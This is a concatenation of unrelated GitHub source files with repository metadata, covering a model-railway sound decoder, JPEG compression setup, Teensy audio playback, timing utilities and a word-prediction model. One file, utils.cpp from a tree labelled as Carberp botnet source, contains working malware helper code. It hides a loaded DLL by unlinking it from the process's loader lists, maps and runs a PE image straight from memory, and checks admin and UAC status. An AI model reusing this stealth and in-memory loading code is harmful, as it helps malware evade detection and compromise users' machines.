no_license
allenck/DecoderPro_app
43aeb9561fe3fe9753684f7d6d76146097d78e88
226c7f245aeb6951528d970f773776d50ae2c1dc
refs/heads/master
2023-05-12T07:36:18.153909
2023-05-10T21:17:40
2023-05-10T21:17:40
61,044,197
4
3
null
null
null
null
UTF-8
C++
false
false
1,608
cpp
#include "vsdecodercreationaction.h" #include "jmrijframe.h" #include "vsdecodermanager.h" #include "logger.h" #include "file.h" #include "vsdecoderpreferences.h" #include "loadvsdfileaction.h" //VSDDecoderCreationAction::VSDDecoderCreationAction() //{ //} /** * Create a new VSDecoder Pane. * * @author Mark Underwood * @version $Revision: 28746 $ */ //@SuppressWarnings("serial") ///*public*/ class VSDecoderCreationAction extends AbstractAction { //private static JFrame openFrame = null; /** * Constructor * * @param s Name for the action. */ /*public*/VSDecoderCreationAction:: VSDecoderCreationAction(QString s, bool ng, QObject* parent) : AbstractAction(s,parent) { //super(s); common(); _useNewGUI = ng; } /*public*/ VSDecoderCreationAction::VSDecoderCreationAction(QObject* parent) : AbstractAction("Virtual Sound Decoder",parent) { //this(ThrottleBundle.bundle().getString("MenuItemNewThrottle")); common(); //this("Virtual Sound Decoder", false); //setText("Virtual Sound Decoder"); _useNewGUI = false; } void VSDecoderCreationAction::common() { _useNewGUI= false; log = new Logger("VSDecoderCreationAction"); connect(this, SIGNAL(triggered()), this, SLOT(actionPerformed())); } /** * The action is performed. Create a new ThrottleFrame. * * @param e The event causing the action. */ /*public*/ void VSDecoderCreationAction::actionPerformed(ActionEvent* /*e*/) { QString fp = "", fn = ""; JmriJFrame* tf = NULL; tf = VSDecoderManager::instance()->provideManagerFrame(); // headless will return null if (tf != nullptr) { tf->toFront(); } }
[ "allenck@windstream.net" ]
allenck@windstream.net
297436c5721cadfb007f90c64bf63c498f610a82
0c420e8b97af7a1dacb668b1b8ef1180a8d47588
/Backup2306/EvCoreLibraries/EvImaging/Jpeg/jcinit.cpp
1d61a8b45f4fafbd7e4a9aca05b6092abb7bac1a
[]
no_license
Spritutu/Halcon_develop
9da18019b3fefac60f81ed94d9ce0f6b04ce7bbe
f2ea3292e7a13d65cab5cb5a4d507978ca593b66
refs/heads/master
2022-11-04T22:17:35.137845
2020-06-22T17:30:19
2020-06-22T17:30:19
null
0
0
null
null
null
null
UTF-8
C++
false
false
2,366
cpp
/* * jcinit.c * * Copyright (C) 1991-1997, Thomas G. Lane. * This file is part of the Independent JPEG Group's software. * For conditions of distribution and use, see the accompanying README file. * * This file contains initialization logic for the JPEG compressor. * This routine is in charge of selecting the modules to be executed and * making an initialization call to each one. * * Logically, this code belongs in jcmaster.c. It's split out because * linking this routine implies linking the entire compression library. * For a transcoding-only application, we want to be able to use jcmaster.c * without linking in the whole library. */ #include "stdafx.h" #define JPEG_INTERNALS #include "jinclude.h" #include "Jpeg.h" /* * Master selection of compression modules. * This is done once at the start of processing an image. We determine * which modules will be used and give them appropriate initialization calls. */ GLOBAL(void) jinit_compress_master (j_compress_ptr cinfo) { /* Initialize master control (includes parameter checking/processing) */ jinit_c_master_control(cinfo, FALSE /* full compression */); /* Preprocessing */ if (! cinfo->raw_data_in) { jinit_color_converter(cinfo); jinit_downsampler(cinfo); jinit_c_prep_controller(cinfo, FALSE /* never need full buffer here */); } /* Forward DCT */ jinit_forward_dct(cinfo); /* Entropy encoding: either Huffman or arithmetic coding. */ if (cinfo->arith_code) { ERREXIT(cinfo, JERR_ARITH_NOTIMPL); } else { if (cinfo->progressive_mode) { #ifdef C_PROGRESSIVE_SUPPORTED jinit_phuff_encoder(cinfo); #else ERREXIT(cinfo, JERR_NOT_COMPILED); #endif } else jinit_huff_encoder(cinfo); } /* Need a full-image coefficient buffer in any multi-pass mode. */ jinit_c_coef_controller(cinfo, (boolean) (cinfo->num_scans > 1 || cinfo->optimize_coding)); jinit_c_main_controller(cinfo, FALSE /* never need full buffer here */); jinit_marker_writer(cinfo); /* We can now tell the memory manager to allocate virtual arrays. */ (*cinfo->mem->realize_virt_arrays) ((j_common_ptr) cinfo); /* Write the datastream header (SOI) immediately. * Frame and scan headers are postponed till later. * This lets application insert special markers after the SOI. */ (*cinfo->marker->write_file_header) (cinfo); }
[ "huynhbuutu@gmail.com" ]
huynhbuutu@gmail.com
166f8fba7c18c9755cae8d7c97fe77889f433bb8
72c85ade1ec0a6e764915882021cdc5489a032b8
/HAL/voice.h
876f24463efccf23636883d93b92be922f4ae220
[]
no_license
ealauer/Animatronic_Research
20ed7dd6b4f6c0ed4885e994057e065b754c099d
2c38326bc9054cfa2b4784b757a046daf2d333cf
refs/heads/master
2023-04-04T18:00:30.981218
2021-04-10T19:34:08
2021-04-10T19:34:08
334,732,397
0
0
null
2021-04-08T20:03:51
2021-01-31T18:55:16
C++
UTF-8
C++
false
false
2,477
h
/********************************************************************************** Voice Has overall class definition and private and public functions Modified from "WaveFilePlayer.ino" Example from Teensy Audio Library Edited by Ethan Lauer on 2/8/20 *********************************************************************************/ class Voice { public: //************************************************************INITIALIZE AND SET UP******************************** Voice() { } void setUp() { AudioMemory(8); while (!SD.begin(SDCARD_CS_PIN)) { Serial.println("Unable to access the SD card"); delay(500); } // insert a "play file loop ( "setupNoise"); } //************************************************************OTHER FUNCTIONS******************************** /* playFileLoop - given a file name in ALL CAPS with a ".WAV" at the end, play the file until it is completely finished note: this uses a while loop until the piece is done playing const char *filename - input of the file name */ void playFileLoop(const char *filename) { Serial.print("Playing file: "); Serial.println(filename); // Start playing the file. This sketch continues to // run while the file plays. playWav.play(filename); // A brief delay for the library read WAV info delay(5); // Simply wait for the file to finish playing. while (playWav.isPlaying()) { Serial.print("STILL Playing file: "); // Serial.println(filename); // delay(500); } } /* playFile - given a file name ALL CAPS with a ".WAV" at the end, play the file check to see if the file is playing at the beginning of the function if it is still playing, then do nothing. INPUT: const char *filename - input of the file name */ void playFile(const char *filename) { Serial.print("Playing file: "); Serial.println(filename); // Start playing the file. This sketch continues to // run while the file plays. playWav.play(filename); // A brief delay for the library read WAV info delay(5); } /* stillPlaying - return true if the audio is still playing, return false if it is not playing */ boolean stillPlaying() { return playWav.isPlaying(); } };
[ "ealauer@wpi.edu" ]
ealauer@wpi.edu
38c4e94b1cf9de299e6aae70766320aa0ff778b2
6bb31dbf0e90b090389f2925656313881e625fbc
/src/time_utility.h
97ab681fd511d01c27ed592cb3ec1d2e4dabfe64
[]
no_license
heroinlin/ncnn_inference_test
b2349e507ea2d81a6265b680f17e377439fec093
df3e68f885eeb90d6211fa8900f0522615a212c3
refs/heads/master
2022-11-22T03:54:16.471434
2020-07-21T04:58:33
2020-07-21T04:58:33
271,491,961
0
0
null
null
null
null
UTF-8
C++
false
false
576
h
#pragma once #include <iostream> #ifdef _WIN32 #include <Windows.h> #else #include <sys/time.h> #include <unistd.h> #endif struct STime { #ifdef _WIN32 LARGE_INTEGER m_t; #else struct timeval m_t; #endif }; void get_current_time(STime& t); double compute_duration_time( const struct STime& start, const struct STime& end); void sleep_for(int millisecond); #define evaluate_time(func, msg) \ { \ STime t1, t2; \ get_current_time(t1); \ func; \ get_current_time(t2); \ std::cout << (msg) << compute_duration_time(t1, t2) << "us" << std::endl; \ }
[ "heroinlj@gmail.com" ]
heroinlj@gmail.com
749f8745496954340d3e8b75dce7b3d53ed7acac
8380b5eb12e24692e97480bfa8939a199d067bce
/Carberp Botnet/source - absource/pro/all source/DropSploit1/src/share/utils.cpp
a48ba8a3fa9bed04fc4415212199063967049fe7
[ "LicenseRef-scancode-warranty-disclaimer" ]
no_license
RamadhanAmizudin/malware
788ee745b5bb23b980005c2af08f6cb8763981c2
62d0035db6bc9aa279b7c60250d439825ae65e41
refs/heads/master
2023-02-05T13:37:18.909646
2023-01-26T08:43:18
2023-01-26T08:43:18
53,407,812
873
291
null
2023-01-26T08:43:19
2016-03-08T11:44:21
C++
UTF-8
C++
false
false
15,303
cpp
#include <intrin.h> #include <windows.h> #include <stdio.h> #include <shlwapi.h> #include <shlobj.h> #include <imagehlp.h> #include "ntdll.h" #include "utils.h" static UINT rand_val = 0; UINT GetRand(UINT uMin, UINT uMax) { if (!rand_val) rand_val = GetTickCount(); rand_val = (rand_val * 214013L + 2531011L); return rand_val % (uMax - uMin + 1) + uMin; } PVOID GetMyBase() { MEMORY_BASIC_INFORMATION MemoryBasicInfo; VirtualQuery(GetMyBase,&MemoryBasicInfo,sizeof(MemoryBasicInfo)); return MemoryBasicInfo.AllocationBase; } #ifdef _DEBUG VOID DbgPrint(PCHAR pcFormat,...) { va_list vaList; CHAR chFormat[1024]; CHAR chMsg[1024*4]; CHAR chPath[MAX_PATH]; GetModuleFileNameA(NULL,chPath,RTL_NUMBER_OF(chPath)-1); _snprintf(chFormat,sizeof(chFormat)-1,"[%s] %s",PathFindFileNameA(chPath),pcFormat); va_start(vaList,pcFormat); _vsnprintf(chMsg,sizeof(chMsg)-1,chFormat,vaList); va_end(vaList); OutputDebugString(chMsg); } #endif char * __cdecl strdup(const char* c) { size_t len = strlen(c); char* p = (char*)malloc(len+1); if (p) { strcpy(p,c); p[len] = 0; } return p; } void * __cdecl malloc(size_t sz) { return HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,sz); } void __cdecl free(void * ptr) { HeapFree(GetProcessHeap(),0,ptr); } void * __cdecl realloc(void * ptr,size_t new_size) { return HeapReAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,ptr,new_size); } void * __cdecl operator new(size_t sz) { return malloc(sz); } void * __cdecl operator new(size_t sz,void * ptr) { return (ptr); } void __cdecl operator delete(void * ptr) { free(ptr); } int __cdecl _purecall(void) { return 0; } PVOID MapBinary(LPCSTR lpPath,DWORD dwFileAccess,DWORD dwFileFlags,DWORD dwPageAccess,DWORD dwMapAccess,PDWORD pdwSize) { PVOID pMap = NULL; HANDLE hMapping; HANDLE hFile; hFile = CreateFile(lpPath,dwFileAccess,FILE_SHARE_READ,NULL,OPEN_EXISTING,dwFileFlags,0); if (hFile != INVALID_HANDLE_VALUE) { hMapping = CreateFileMappingA(hFile,NULL,dwPageAccess,0,0,0); if (hMapping != INVALID_HANDLE_VALUE) { pMap = MapViewOfFile(hMapping,dwMapAccess,0,0,0); if (!pMap) { DbgPrint(__FUNCTION__"(): MapViewOfFile failed with error %x\n",GetLastError()); } else if (pdwSize) *pdwSize = GetFileSize(hFile,NULL); CloseHandle(hMapping); } else { DbgPrint(__FUNCTION__"(): CreateFileMapping failed with error %x\n",GetLastError()); } CloseHandle(hFile); } else { DbgPrint(__FUNCTION__"(): CreateFile failed with error %x\n",GetLastError()); } return pMap; } BOOL SetFileDllFlag(LPCSTR lpPath) { BOOL bRet = FALSE; PIMAGE_NT_HEADERS pNtHdr; DWORD dwFileSize; PVOID pMap; if (pMap = MapBinary(lpPath,FILE_ALL_ACCESS,FILE_FLAG_WRITE_THROUGH,PAGE_READWRITE,FILE_MAP_ALL_ACCESS,&dwFileSize)) { if (pNtHdr = RtlImageNtHeader(pMap)) { DWORD HeaderSum, CheckSum; pNtHdr->FileHeader.Characteristics |= IMAGE_FILE_DLL; if (CheckSumMappedFile(pMap,dwFileSize,&HeaderSum,&CheckSum)) { pNtHdr->OptionalHeader.CheckSum = CheckSum; bRet = TRUE; } } FlushViewOfFile(pMap,dwFileSize); UnmapViewOfFile(pMap); } return bRet; } DWORD RvaToOffset(PIMAGE_NT_HEADERS pPE,DWORD dwRva) { PIMAGE_SECTION_HEADER pSEC = IMAGE_FIRST_SECTION(pPE); for (WORD i = 0; i < pPE->FileHeader.NumberOfSections; i++) { if (dwRva >= pSEC->VirtualAddress && dwRva < (pSEC->VirtualAddress + pSEC->Misc.VirtualSize)) { return dwRva + ALIGN_DOWN(pSEC->PointerToRawData,pPE->OptionalHeader.FileAlignment) - pSEC->VirtualAddress; } pSEC++; } return 0; } PIMAGE_SECTION_HEADER SearchSection(PVOID pvPEBase,LPCSTR lpName) { PIMAGE_NT_HEADERS pNtHeaders; pNtHeaders = RtlImageNtHeader(pvPEBase); if (pNtHeaders) { PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHeaders); for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) { if (!strcmp(lpName,(PCHAR)&pSection->Name)) return pSection; pSection++; } } return 0; } BOOL FileWrite(LPCSTR lpName,DWORD dwFlags,LPCVOID pvBuffer,DWORD dwSize) { BOOL bRet = FALSE; HANDLE hFile; DWORD t; hFile = CreateFileA(lpName,GENERIC_WRITE,FILE_SHARE_READ,NULL,dwFlags,0,0); if (hFile != INVALID_HANDLE_VALUE) { SetFilePointer(hFile,0,0,FILE_BEGIN); bRet = WriteFile(hFile,pvBuffer,dwSize,&t,0); FlushFileBuffers(hFile); SetEndOfFile(hFile); CloseHandle(hFile); } return bRet; } BOOL FileRead(LPCSTR lpFileName, PVOID *ppBuffer, DWORD *pdwSize) { BOOL bRet = FALSE; HANDLE hFile; DWORD dwSize; DWORD dwReaded; hFile = CreateFileA(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, 0); if (hFile != INVALID_HANDLE_VALUE) { dwSize = GetFileSize(hFile, NULL); if (dwSize) { *ppBuffer = malloc(dwSize + 1); if (*ppBuffer) { bRet = ReadFile(hFile, *ppBuffer, dwSize, &dwReaded, NULL); *RVA_TO_VA(*ppBuffer, dwSize) = '\0'; if (pdwSize) *pdwSize = dwSize; if (!bRet) free(*ppBuffer); } } CloseHandle(hFile); } return bRet; } BOOL CheckAdmin() { BOOL Ret; SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; PSID AdministratorsGroup; if (Ret = AllocateAndInitializeSid(&NtAuthority,2,SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS,0,0,0,0,0,0,&AdministratorsGroup)) { if (!CheckTokenMembership(NULL,AdministratorsGroup,&Ret)) { Ret = FALSE; } FreeSid(AdministratorsGroup); } return Ret; } BOOL CheckUAC() { BOOL fIsElevated = FALSE; HANDLE hToken = NULL; if (OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY,&hToken)) { TOKEN_ELEVATION elevation; DWORD dwSize; if (GetTokenInformation(hToken,TokenElevation,&elevation,sizeof(elevation),&dwSize)) { fIsElevated = !elevation.TokenIsElevated; } CloseHandle(hToken); } return fIsElevated; } BOOL CheckWow64() { BOOL bIsWow64 = FALSE; typedef BOOL(WINAPI*LPFN_ISWOW64PROCESS)(HANDLE, PBOOL); LPFN_ISWOW64PROCESS fnIsWow64Process; fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandleA("kernel32.dll"),"IsWow64Process"); if (NULL != fnIsWow64Process) { fnIsWow64Process(GetCurrentProcess(),&bIsWow64); } return bIsWow64; } VOID FixDWORD(BYTE *Data,DWORD Size,DWORD Old,DWORD New) { DWORD p = 0; PDWORD pDD; while (p < Size) { pDD = (PDWORD)(Data + p); if (*pDD == Old) *(DWORD*)(Data + p) = New; p++; } } VOID HideDllPeb(LPCSTR lpDllName) { PLDR_DATA_TABLE_ENTRY pldteDllEntry; PLIST_ENTRY pleCurrentDll; PLIST_ENTRY pleHeadDll; PPEB_LDR_DATA ppldLoaderData; PPEB ppPEB = (PPEB)__readfsdword(0x30); ppldLoaderData = ppPEB->Ldr; if (ppldLoaderData) { pleHeadDll = &ppldLoaderData->InLoadOrderModuleList; pleCurrentDll = pleHeadDll; while (pleCurrentDll && (pleHeadDll != (pleCurrentDll = pleCurrentDll->Flink))) { pldteDllEntry = CONTAINING_RECORD(pleCurrentDll,LDR_DATA_TABLE_ENTRY,InLoadOrderModuleList); if (pldteDllEntry && pldteDllEntry->Flags & 0x00000004) { CHAR Buffer[MAX_PATH]; ANSI_STRING as = RTL_CONSTANT_STRING(Buffer); RtlUnicodeStringToAnsiString(&as,&pldteDllEntry->BaseDllName,FALSE); if (StrStrIA(Buffer,lpDllName)) { DbgPrint(__FUNCTION__"(): Dll '%s' removed from loader data\n",lpDllName); RemoveEntryList(&pldteDllEntry->InLoadOrderModuleList); RemoveEntryList(&pldteDllEntry->InInitializationOrderModuleList); RemoveEntryList(&pldteDllEntry->InMemoryOrderModuleList); RemoveEntryList(&pldteDllEntry->HashLinks); } } } } } PVOID GetSystemInformation(SYSTEMINFOCLASS InfoClass) { NTSTATUS St; PVOID Buffer; DWORD Size = 0x1000*4; DWORD t; do { Buffer = malloc(Size); if (!Buffer) return NULL; St = NtQuerySystemInformation(InfoClass,Buffer,Size,&t); if (!NT_SUCCESS(St)) { free(Buffer); Buffer = NULL; Size += 0x1000*4; } } while (St == STATUS_INFO_LENGTH_MISMATCH); if (!NT_SUCCESS(St)) { DbgPrint(__FUNCTION__"(): NtQuerySystemInformation failed with status %lx\n",St); } return Buffer; } DWORD CreateThreadAndWait(PVOID pvProc,PVOID pvContext,DWORD dwWait) { DWORD dwExitCode = 0; HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)pvProc,pvContext,0,NULL); if (hThread) { if (WaitForSingleObject(hThread,dwWait) == WAIT_OBJECT_0) { GetExitCodeThread(hThread,&dwExitCode); } CloseHandle(hThread); } return dwExitCode; } PCHAR StrNCopy(PCHAR pcStr,DWORD dwLen) { PCHAR pcResult; if (dwLen) { pcResult = (PCHAR)malloc(dwLen+1); if (pcResult) { RtlCopyMemory(pcResult,pcStr,dwLen); pcResult[dwLen] = 0; } } return pcResult; } PCHAR StrCopy(PCHAR pcStr) { return StrNCopy(pcStr,strlen(pcStr)); } DWORD FindStrInStr(PCHAR pcStr1,DWORD dwLen1,PCHAR pcStr2,DWORD dwLen2) { if (dwLen1 >= dwLen2) { for (DWORD dwCnt = 0; dwCnt < dwLen1; dwCnt++) { for (DWORD dwPos1 = dwCnt,dwPos2 = 0; dwPos1 < dwLen1; dwPos1++) { if (tolower(pcStr1[dwPos1]) != tolower(pcStr2[dwPos2])) { break; } ++dwPos2; if (dwPos2 == dwLen2) return dwPos1 - dwLen2 + 1; } } } return -1; } PCHAR GetStrValueStr(PCHAR pcBuffer,DWORD dwBufferLen,PCHAR pcStr,DWORD dwStrLen,PCHAR pcSep) { DWORD dwLen; DWORD dwPos; dwPos = FindStrInStr(pcBuffer,dwBufferLen,pcStr,dwStrLen); if (dwPos != -1) { dwPos += dwStrLen; if (pcBuffer[dwPos] == ' ') ++dwPos; if (pcSep) { dwLen = FindStrInStr(pcBuffer+dwPos,dwBufferLen-dwPos,pcSep,strlen(pcSep)); if (dwLen == -1) dwLen = 0; } else { dwLen = dwBufferLen - dwPos; } if (dwLen) return StrNCopy(pcBuffer + dwPos,dwLen); } return NULL; } unsigned long Crc32(const unsigned char * buf, unsigned long len) { unsigned long crc_table[256]; unsigned long crc; for (int i = 0; i < 256; i++) { crc = i; for (int j = 0; j < 8; j++) crc = crc & 1 ? (crc >> 1) ^ 0xEDB88320UL : crc >> 1; crc_table[i] = crc; }; crc = 0xFFFFFFFFUL; while (len--) crc = crc_table[(crc ^ *buf++) & 0xFF] ^ (crc >> 8); return crc ^ 0xFFFFFFFFUL; } static LONG DeleteRegKeyRecursive_q(HKEY RootKey,LPCSTR lpSubKey,LONG Level) { HKEY hKey; if (ERROR_SUCCESS == RegOpenKeyExA(RootKey,lpSubKey,0,KEY_ALL_ACCESS,&hKey)) { CHAR szSubKey[MAX_PATH]; while (ERROR_SUCCESS == RegEnumKeyA(hKey,0,szSubKey,sizeof(szSubKey))) { if (ERROR_SUCCESS != DeleteRegKeyRecursive_q(hKey,szSubKey,Level+1)) break; } RegCloseKey(hKey); } return RegDeleteKeyA(RootKey,lpSubKey); } LONG DeleteRegKeyRecursive(HKEY RootKey,LPCSTR lpSubKey) { return DeleteRegKeyRecursive_q(RootKey,lpSubKey,0); } BOOL ProcessRelocs(PVOID pvImageBase, DWORD dwDelta) { DWORD dwRelocsSize; PIMAGE_BASE_RELOCATION pReloc; if (dwDelta) { pReloc = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData(pvImageBase, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &dwRelocsSize); if (pReloc && dwRelocsSize) { PIMAGE_BASE_RELOCATION pEndReloc = (PIMAGE_BASE_RELOCATION)(pReloc + dwRelocsSize); while (pReloc->SizeOfBlock && pReloc < pEndReloc) { pReloc = LdrProcessRelocationBlock(MAKE_PTR(pvImageBase, pReloc->VirtualAddress, ULONG_PTR), (pReloc->SizeOfBlock - sizeof(*pReloc))/sizeof(USHORT), (PUSHORT)(pReloc + 1), dwDelta); if (!pReloc) return FALSE; } } } return TRUE; } BOOLEAN ProcessImport(PVOID pvImageBase) { DWORD dwImportSize; PIMAGE_IMPORT_DESCRIPTOR pImport; pImport = (PIMAGE_IMPORT_DESCRIPTOR)RtlImageDirectoryEntryToData(pvImageBase, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &dwImportSize); if (pImport && dwImportSize) { for (; pImport->Name; pImport++) { PCHAR szDllName = RVA_TO_VA(pvImageBase, pImport->Name); HMODULE hDll = LoadLibraryA(szDllName); if (!hDll) return FALSE; PDWORD thunkRef, funcRef; if (pImport->OriginalFirstThunk) { thunkRef = MAKE_PTR(pvImageBase, pImport->OriginalFirstThunk, PDWORD); funcRef = MAKE_PTR(pvImageBase, pImport->FirstThunk, PDWORD); } else { thunkRef = MAKE_PTR(pvImageBase, pImport->FirstThunk, PDWORD); funcRef = MAKE_PTR(pvImageBase, pImport->FirstThunk , PDWORD); } for (; *thunkRef; thunkRef++, funcRef++) { PVOID pvProcAddress; if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) { pvProcAddress = GetProcAddress(hDll, (PCHAR)IMAGE_ORDINAL(*thunkRef)); } else { pvProcAddress = GetProcAddress(hDll, (PCHAR)&((PIMAGE_IMPORT_BY_NAME)RVA_TO_VA(pvImageBase, *thunkRef))->Name); } if (!pvProcAddress) return FALSE; *(PVOID*)funcRef = pvProcAddress; } } } return TRUE; } BOOL LoadImageFromMemory(PVOID pBuffer, PVOID *ppImage) { BOOL Ret = FALSE; PIMAGE_NT_HEADERS pNtHeader; PVOID pImage; PIMAGE_SECTION_HEADER pSection; pNtHeader = RtlImageNtHeader(pBuffer); if (pNtHeader) { pImage = VirtualAlloc(NULL, pNtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pImage) { pSection = IMAGE_FIRST_SECTION(pNtHeader); RtlCopyMemory(pImage, pBuffer, pSection->PointerToRawData); for (WORD i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++) { RtlCopyMemory(RVA_TO_VA(pImage,pSection[i].VirtualAddress), RVA_TO_VA(pBuffer,pSection[i].PointerToRawData), pSection[i].SizeOfRawData); } if (ProcessImport(pImage)) { if (ProcessRelocs(pImage, VA_TO_RVA(pNtHeader->OptionalHeader.ImageBase, pImage))) { Ret = TRUE; } } if (Ret) { typedef BOOLEAN (WINAPI *PDLL_ENTRY_POINT)(PVOID, DWORD, DWORD); PDLL_ENTRY_POINT pDllEntryPoint = MAKE_PTR(pImage, pNtHeader->OptionalHeader.AddressOfEntryPoint, PDLL_ENTRY_POINT); if (!pDllEntryPoint(pImage, DLL_PROCESS_ATTACH, 0)) { Ret = FALSE; } else { if (ppImage) *ppImage = pImage; } } if (!Ret) VirtualFree(pImage, 0, MEM_RELEASE); } } return Ret; } PVOID GetExportEntry(PVOID ModuleBase, LPCSTR lpProcName) { PIMAGE_NT_HEADERS pNtHeaders; PIMAGE_EXPORT_DIRECTORY pImageExport; DWORD dwExportSize; pNtHeaders = (PIMAGE_NT_HEADERS)RtlImageNtHeader(ModuleBase); if (pNtHeaders) { pImageExport = (PIMAGE_EXPORT_DIRECTORY)RtlImageDirectoryEntryToData(ModuleBase,TRUE,IMAGE_DIRECTORY_ENTRY_EXPORT,&dwExportSize); if (pImageExport) { PDWORD pAddrOfNames = MAKE_PTR(ModuleBase, pImageExport->AddressOfNames, PDWORD); for (DWORD i = 0; i < pImageExport->NumberOfNames; i++) { if (!strcmp(RVA_TO_VA(ModuleBase, pAddrOfNames[i]), lpProcName)) { PDWORD pAddrOfFunctions = MAKE_PTR(ModuleBase, pImageExport->AddressOfFunctions, PDWORD); PWORD pAddrOfOrdinals = MAKE_PTR(ModuleBase, pImageExport->AddressOfNameOrdinals, PWORD); return RVA_TO_VA(ModuleBase, pAddrOfFunctions[pAddrOfOrdinals[i]]); } } } } return NULL; }
[ "fdiskyou@users.noreply.github.com" ]
fdiskyou@users.noreply.github.com
8f6adfc87fd91b7f6c757d8a1dfaef7f05b391d5
d08f72f9b0f6251edb91871c3e63df376957cde7
/include/model_multiplexer.hpp
8f5deb9dcf03498bfc0d5bc14b5a323c344a8dcb
[]
no_license
whitead/WordModel
5dfafd67c1c75c87b6859e4b29dd1275f4ca4c6b
0788d107e42234a83d294355f9d02d01df02ee93
refs/heads/master
2020-04-05T05:16:49.408898
2015-03-22T13:49:20
2015-03-22T13:49:20
21,846,028
0
0
null
null
null
null
UTF-8
C++
false
false
1,528
hpp
#ifndef WORD_MULTIPLEXER_H #define WORD_MULTIPLEXER_H namespace wordmodel { template<class ModelType> class ModelMultiplexer : public WordModel { public: ModelMultiplexer(int levels) { for(int i = 0; i < levels; i++) models_.push_back( ModelType() ); } using WordModel::get_prediction; const std::string& get_prediction(unsigned int* prediction_id) override{ int i = 0; while(i < models_.size() - 1) { //go up higher as long as we're at an interface if(models_[i].detected_interface()) i++; else break; } return models_[i].get_prediction(prediction_id); } bool putc(char c) override{ bool temp; //treat the lowest level specially interface_ = models_[0].putc(c); models_[0].interface(true); for(int i = 1; i < models_.size(); i++) { if(!interface_) interface_ = models_[i].putc(c); else models_[i].interface(interface_); } return interface_; } void write_summary(std::ostream& out) override { out << "A model multiplexer containing models from smallest token size to largest" << std::endl; for(auto &m: models_) m.write_summary(out); } long int training_mistakes() const override { long int sum = 0; for(auto &m: models_) sum += m.training_mistakes(); return sum; } private: std::vector<std::string> tokens_; std::vector<ModelType> models_; bool interface_; }; } #endif // WORD_MULTIPLEXER_H
[ "white.d.andrew@gmail.com" ]
white.d.andrew@gmail.com
c09ca58728e040446865f065ef3bdd12d7236cc5
9e679221fa536577658e59bfb6a36cf2b9b665f6
/code/functions.cpp
ca8b36f73199b09cb3e6f8821fcf12b4594c6727
[]
no_license
useRbozeman/abcRcpp
479dcede3c49411b838388f8381c8f5339cd4634
ec88f50c651f92774fa0ff1ee65f05e43eecc87e
refs/heads/master
2021-01-10T19:32:02.411898
2014-07-14T15:18:28
2014-07-14T15:18:28
null
0
0
null
null
null
null
UTF-8
C++
false
false
460
cpp
#include <Rcpp.h> double compare(double, double); using namespace Rcpp; // [[Rcpp::export]] double findMax(NumericVector x) { int i; int n = x.size(); double max = x[0]; for (i=1; i <n; i++) { max = compare(x[i], max); } return max; } double compare(double a, double b) { if (a > b) { return a; } else { return b; } }
[ "mdlerch@gmail.com" ]
mdlerch@gmail.com
868a8317d590223612a4922ab82757310f16c824
32d668f1e3bd29181e4416cc929b37f43ea73f30
/arduino/sketch_sep29b_serial_test/sketch_sep29b_serial_test.ino
125e70f957f208f4c71cbe7286391510e1b84fab
[ "MIT" ]
permissive
coreyabshire/marv
0156739e9f89daf2d368adb56d58b3f9e720da42
b2c791eb1b2b5be0f275e3b50d8df362df2e644e
refs/heads/master
2021-07-24T10:17:28.878374
2017-11-01T22:46:25
2017-11-01T22:46:25
105,480,558
0
0
null
null
null
null
UTF-8
C++
false
false
1,163
ino
#include <Wire.h> #include <Adafruit_Sensor.h> #include <Adafruit_BNO055.h> #include <utility/imumaths.h> /* Set the delay between fresh samples */ #define BNO055_SAMPLERATE_DELAY_MS (100) Adafruit_BNO055 bno = Adafruit_BNO055(); void setup() { // put your setup code here, to run once: Serial1.begin(9600); Serial1.println("Orientation Sensor Raw Data Test"); Serial.println(""); /* Initialise the sensor */ if(!bno.begin()) { /* There was a problem detecting the BNO055 ... check your connections */ Serial1.print("Ooops, no BNO055 detected ... Check your wiring or I2C ADDR!"); while(1); } delay(1000); /* Display the current temperature */ int8_t temp = bno.getTemp(); Serial1.print("Current Temperature: "); Serial1.print(temp); Serial1.println(" C"); Serial1.println(""); bno.setExtCrystalUse(true); Serial1.println("Calibration status values: 0=uncalibrated, 3=fully calibrated"); } void loop() { // put your main code here, to run repeatedly: String command = Serial1.readStringUntil('\n'); if (command.length() > 0) { Serial1.print("received command: "); Serial1.println(command); } }
[ "corey.abshire@gmail.com" ]
corey.abshire@gmail.com
290d0c41b13d5bf28231e6e94a38c03f7e9cecfd
87a5ac093c5b23200d9867bc38842870db8367a7
/cinemagraph_editor/opencv2.framework/Versions/A/Headers/gapi/gscalar.hpp
0d8d9f70bb01a4e2bedc57300e8093e3f9f99e31
[ "MIT" ]
permissive
GeonHyeongKim/cinemagraph_editor
738b77f41f2f9bfd9cbace0a20290711ff786bfd
20639c63a5a3cf55267fb5f68f56a74da5820652
refs/heads/master
2021-04-23T08:55:13.970568
2020-06-05T09:51:51
2020-06-05T09:51:51
249,914,931
0
0
null
null
null
null
UTF-8
C++
false
false
129
hpp
version https://git-lfs.github.com/spec/v1 oid sha256:85a9a0f5cad9e882725d4d12a803ec46f29168206adb8353716e336e0953f1d7 size 2356
[ "geonhyeong.dev@gmail.com" ]
geonhyeong.dev@gmail.com
c26e0b1f369d9a5bfd8c95c6c9d819d7423e307d
cb2a3e7a57b33f5deccae2d830c89722443d223b
/service/JHIMain.h
b8d6b2845524f16bc83ccb05775debe053cb208e
[ "Apache-2.0" ]
permissive
light1021/dynamic-application-loader-host-interface
084f49619e480565d97bb7f5edb1e0fdcf82fa6d
4e0d265cd1e96c0a49bf3f3061901ac3d7856f98
refs/heads/master
2020-07-23T08:59:02.176394
